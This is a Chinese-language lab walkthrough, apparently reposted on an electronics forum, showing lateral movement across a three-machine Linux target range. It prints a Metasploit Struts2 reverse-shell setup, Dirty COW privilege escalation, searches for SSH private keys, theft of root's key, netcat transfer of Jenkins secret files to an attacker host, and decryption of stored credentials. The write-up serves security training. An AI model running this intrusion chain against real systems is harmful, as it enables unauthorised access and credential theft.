0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Linux横向移动手法-CSK靶机

jf_vLt34KHi 来源:Tide安全团队 2022-12-22 10:12 次阅读

前言

Linux中横向移动手法相对Windows来说较少,相对来说我们只有利用SSH、web上的漏洞等较少方式去获得权限 在SSH协议中,连接到主机可采用两种登录方式:密码登录方式、密钥登录方式 密码登录方式,相信大家都明白它的工作原理,这里就不再赘述。对此我们可以来尝试爆破密码的方式来尝试登录到远程系统权限 密钥登录方式的原理是:利用密钥生成器制作一对密钥,其中一只公钥,一只私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。这样一来,没有私钥,任何人都无法通过SSH暴力破解用户的密码来远程登录系统。那这里我们可以通过获取该目标服务器的SSH私钥信息即可获得该服务器的远程登录权限 一般ssh密钥文件都存放在~/.ssh/目录下,也可以在文件中搜索已保存的SSH凭证。

敏感文件 ~/.ssh/config #配置 ssh 连接相关参数的配置文件 ~/.ssh/known_hosts # 该服务器所有登录过的服务器的信息 ~/.bash_history # 我们通过历史命令可以看到该服务器中有没有使用ssh私钥去远程连接服务器 搜索含有SSH凭证文件 grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /*

在这里,我用一个纯Linux的内网靶机环境来做演示,首先我们来看一下当前内网环境的拓扑图。

2d877b62-8111-11ed-8abf-dac502259ad0.png

通过拓扑图我们可以看到在当前内网环境中,一共有3台机器,一台是web服务器,同时也连接着互联网,另外两台分别为数据库服务器与Jenkins服务器,他们的网络环境中是做了限制的,web服务器对外开放,可直接访问。jenkins服务器的web应用只允许当前内网环境的主机访问,数据库服务器不出网,用于实现站库分离设计模式。网络划分配置如下:点击编辑 ->虚拟网络编辑器-> 更改设置,之后选择需要设置NAT类型的界面,修改子网IP为172.16.250.0 ,并点击应用。

2d9ae800-8111-11ed-8abf-dac502259ad0.png

场景演示

首先我们先对入口点IP地址做一个端口扫描。

这里我们访问它的80端口,发现是该系统的CMS为OpenCms 10.5,通过漏洞库得知该系统存在 struts2 命令执行漏洞。

2dcbcac4-8111-11ed-8abf-dac502259ad0.png

访问一下struts2-showcase路径,看是否成功。

2ddeff54-8111-11ed-8abf-dac502259ad0.png

由此确定使用struts2并且是struts2 showcase,msf上可以利用这个漏洞。直接在msf中 search struts2,这里直接选择第一个利用即可。

2e077fa6-8111-11ed-8abf-dac502259ad0.png

设置攻击IP地址与反弹shell方式。

set rhost 172.16.250.10 set rport 80 set payload linux/x64/meterpreter/reverse_tcp set lhot 172.160.250.128 set lport 4444

2e386b66-8111-11ed-8abf-dac502259ad0.png

可以看到shell被成功反弹过来。

2eb2f91c-8111-11ed-8abf-dac502259ad0.png

可以看到当前shell被反弹过来,并且权限为tomcat权限,这里的权限对我们来说相对较低,于是选择提权。首先上传一个linux-exploit-suggester脚本用于定位当前系统适合怎样的方式进行提权。由于这时候我们得到的shell不是tty类型的,改为tty使得shell更加稳定,然后赋予当前文件一个执行权限,将其执行。

upload /root/Desktop/linux-exploit-suggester.sh /tmp/aa.sh shell python3 -c "import pty;pty.spawn('/bin/bash')" chmod u+x /tmp/aa.sh ./tmp/aa.sh

2ee83032-8111-11ed-8abf-dac502259ad0.png

运行之后就可以看到适合当前系统的提权方式,这里我选择使用脏牛来进行提权(在实战中请谨慎使用脏牛提权,该提权方式容易造成业务宕机) 这里步骤和我们刚刚上传提权定位脚本基本一致,首先将exp上传到shell中,将exp进行编译,将shell改为tty,直接执行编译后的exp。

upload /root/Desktop/dirtycow-mem.c /tmp/cow.c shell python3 -c "import pty;pty.spawn('/bin/bash')" gcc -Wall -o /tmp/dirtycow /tmp/cow.c -ldl -lpthread chmod u+x /tmp/dirtycow ./tmp/dirtycow

2f10cd4e-8111-11ed-8abf-dac502259ad0.png

这里我们在拿到root权限之后,为了保持稳定需要输入下面两条命令,不然web服务器会死机。

echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

2f3f01a0-8111-11ed-8abf-dac502259ad0.png

经过长时间的信息收集后,发现配置文件/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties中有一条数据库登录的信息,判断出当前数据库服务器为172.16.250.50。

2f5fb562-8111-11ed-8abf-dac502259ad0.png

发现该站为站库分离系统,这里查看root目录下的.ssh目录发现存在一个私钥文件。

2f82d3da-8111-11ed-8abf-dac502259ad0.png

这里再去查看root用户的历史命令发现该用户使用该密钥连接了172.16.250.30,那这里我们可以将该服务器的私钥文件下载到我们的攻击机中,然后使用攻击机去连接数据库服务器,因为我们现在所在的是提权的root用户bash,在msf中是tomcat的权限,我们无法直接下载root目录下的ssh私钥,所以我们需要先将私钥复制到/tmp/目录下,然后将它基于777的权限,在使用msf将其下载到我们的攻击机中。

cp ~/.ssh/id_rsa /tmp/id_rsa chmod 777 /tmp/id_rsa exit download /tmp/id_rsa /root/is_rsa

2f9481b6-8111-11ed-8abf-dac502259ad0.png

这里给拖出来的私钥一个0700的执行权限,然后使用ssh去连接172.16.250.30。

chmod 0700 id_rsa ssh -i id_rsa root@172.16.250.30

2faa0752-8111-11ed-8abf-dac502259ad0.png

这里成功拿到第二台主机权限,权限为root,hostname为jenkins,这里对它进行一个信息收集发现该系统开放一个8080端口。

2fc20e42-8111-11ed-8abf-dac502259ad0.png

这里搭建一个socks代理访问一下看看当前jenkins服务器中8080端口所开放的是一个什么站点。

use auxiliary/server/socks5 set srvhost 172.16.250.128 run

2ff0edde-8111-11ed-8abf-dac502259ad0.png

然后修改proxychains文件。

30275b30-8111-11ed-8abf-dac502259ad0.png

使用proxychains启动firefox。

proxychains firefox

3041dd34-8111-11ed-8abf-dac502259ad0.png

这里我们访问Jenkins应用程序内的凭证管理器内部,看到db_backup用户密码已存储,但不可见,我们需要弄清楚如何从Jenkins中获取此凭据,以便我们可以继续横向移动。

30a5e69e-8111-11ed-8abf-dac502259ad0.png

这里我们选择“Update”来更新密码。

30c56d66-8111-11ed-8abf-dac502259ad0.png

将password置空即可得到密码。

30d6faf4-8111-11ed-8abf-dac502259ad0.png

2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=访问/jenkins/script/console目录,使用以下命令获取明文。

println(hudson.util.Secret.fromString("{2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=}").getPlainText())发现失败,这里直接获取jenkis的加密密钥文件,下载到本机使用jenkis进行解密,credentials.xml,master.key和hudson.util.Secret。

30ecf282-8111-11ed-8abf-dac502259ad0.png

访问发现该3个文件存在,使用nc将文件传到我们的kali中。

nc -lvp 8888 > master.key nc -lvp 8888 > hudson.util.Secret nc -lvp 8888 > credentials.xml nc 172.16.250.128 8888 < /home/jenkins/secrets/hudson.util.Secret nc 172.16.250.128 8888 < /home/jenkins/secrets/master.key nc 172.16.250.128 8888 < /home/jenkins/credentials.xml

31193716-8111-11ed-8abf-dac502259ad0.png

可以看到文件都被下载到了我们的攻击机中,这里我们下载解密脚本,将密钥文件放到脚本中进行解密。

git clone https://github.com/cheetz/jenkins-decrypt.git python3 decrypt.py master.key hudson.util.Secret credentials.xml

31521efa-8111-11ed-8abf-dac502259ad0.png

这里成功解密db_backup用户的密码,使用ssh进行连接。

)uDvra{4UL^;r?*h

proxychains ssh db_backup@172.16.250.50

31814acc-8111-11ed-8abf-dac502259ad0.png

可以看到成功登录到172.16.250.50系统中,这里使用id查看到该用户属于在sudo组,所以可以使用sudo su命令进行提权,然后输入db_backup用户的密码,即拿到了该系统root系统的权限。

sudo su

325d0972-8111-11ed-8abf-dac502259ad0.png

至此成功获取到WEB服务器(172.16.250.10)的权限、内网主机172.16.250.30的权限、内网数据库服务器172.16.250.50的权限。本文章主要介绍了Linux环境下的内网渗透手法,但想文章前言所述一样,在Linux中的横向手法很少,所以主要还是偏向于SSH和web方面的漏洞,在Linux的内网环境中,要做的还是要收集到更多有价值的信息,查看历史命令等。从而在进行下一步渗透。

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Linux
    +关注

    关注

    87

    文章

    10990

    浏览量

    206738
  • 服务器
    +关注

    关注

    12

    文章

    8120

    浏览量

    82524
  • WINDOWS
    +关注

    关注

    3

    文章

    3440

    浏览量

    87144
  • CSK
    CSK
    +关注

    关注

    0

    文章

    4

    浏览量

    6281

原文标题:Linux横向移动手法-CSK靶机

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    自己动手做简单移动电源

    网上淘了块压克力板,自己动手移动电源自己动手移动电源
    发表于 10-26 11:51

    深圳全自动打靶机系统,高解析CCD扫描定位打孔

    目前我们常说的打靶机(打孔机)事实上包括两类:冲孔机和钻孔机,冲孔机是为软性材料打孔,钻孔机是为硬质材料打孔,两者不可以通用,是两种完全不同用途的机械。那么从这个意义上而言,“打靶机(打孔机)”是一
    发表于 04-26 10:00

    变频电源的操作手法

    在你购买任何一样电器产品的时候,销售员都会告诉你使用方法是怎样的,应该注意些什么。因为每个产品都会用专用的操作手法,这样就会在避免操作错误或者不当而造成损害。变频电源也是一样,也有正确的操作手法
    发表于 12-30 07:09

    聆思CSK6视觉AI开发套件点灯 + AI功能体验

    build -b csk6011a_nano下载lisa zep flash点灯好家伙。dts都来了,Zephyr 什么东西不过dts linux 驱动必备。但是感觉要劝退一堆小白AI功能模型文件7M。应该是
    发表于 12-15 10:07

    常用QC手法应用实务

    常用QC手法应用实务 本课程以实际应用为导向,说明并整合QC7手法与新QC7手法(管理7手法)以讲师资深实务经验,依企业实际状况,组合改善活动常用工具、方法,参加学员除
    发表于 02-01 14:02 59次下载

    高速移动平台横向运动自抗扰控制

    高速移动平台横向运动自抗扰控制:采用自抗扰控制(activedisturbancerejectioncontrol,ADRC)方法,对高速轮式车辆和机器人等移动
    发表于 03-18 16:20 21次下载

    移动手机中的MAX IIZ CPLD培训资料

    移动手机中的MAX IIZ CPLD培训资料
    发表于 03-23 16:58 0次下载

    声控飞碟抛靶机电路图

    声控飞碟抛靶机电路图
    发表于 11-06 12:31 1154次阅读
    声控飞碟抛<b class='flag-5'>靶机</b>电路图

    什么是QC七大手法是什麼?

    什么是QC七大手法是什麼? 1、QC简易七手法:甘特图、流程图、5W2H、愚巧法、雷达法、统计图、推移图 2、QC旧七大手法:特性要因分析图、柏拉
    发表于 10-22 11:43 1916次阅读

    基于DPS的带推力变向的高速靶机飞控实现

    靶机是一种特殊的无人机,主要承担检验对空武器系统的战术、技术性能。目前,高速靶机作为测试和评估导弹的空中目标是需求量最大的一种。上个世纪60年代,由赵煦院士园队研发的长空系列靶机是我国典型的高亚音速
    发表于 02-01 10:35 0次下载
    基于DPS的带推力变向的高速<b class='flag-5'>靶机</b>飞控实现

    一文读懂 CSK断线连接器和CCP电缆连接器

    CSK断线连接器和CCP电缆连接器到底有什么不同?总的来说就是CSK比CCP更容易安装,但是从长远来说,CCP使用更广泛,更耐用。
    发表于 06-18 09:37 1826次阅读

    动手编译Linux内核的教程免费下载

    本文档的主要内容详细介绍的是动手编译Linux内核的教程免费下载。
    发表于 11-26 17:01 14次下载

    移动手持PDA的定义及优势

    移动手持PDA其实就是可用于数据采集,信息处理、信息查询的移动手持数据采集器。因其可手持,可移动且具备操作系统的特性,广泛用于工厂生产、仓储盘点、物流配送等领域。手持PDA通过实时数据采集存储,减少了工人作业的失误,提高了企业效
    发表于 03-25 09:14 2217次阅读

    桌面版操作机与WEB靶机的搭建与实验操作

    环境的linux虚拟机来完成桌面版操作机与WEB靶机的搭建与实验操作。 Docker 包括三个基本概念:● 镜像(Image)● 容器(Container)● 仓库(Repository)操作机与靶机
    的头像 发表于 09-29 18:09 1954次阅读
    桌面版操作机与WEB<b class='flag-5'>靶机</b>的搭建与实验操作

    51单片机-点阵模块-横向移动-i love u

    51单片机-点阵模块-横向移动-i love u-<>
    发表于 11-17 12:06 27次下载
    51单片机-点阵模块-<b class='flag-5'>横向</b><b class='flag-5'>移动</b>-i love u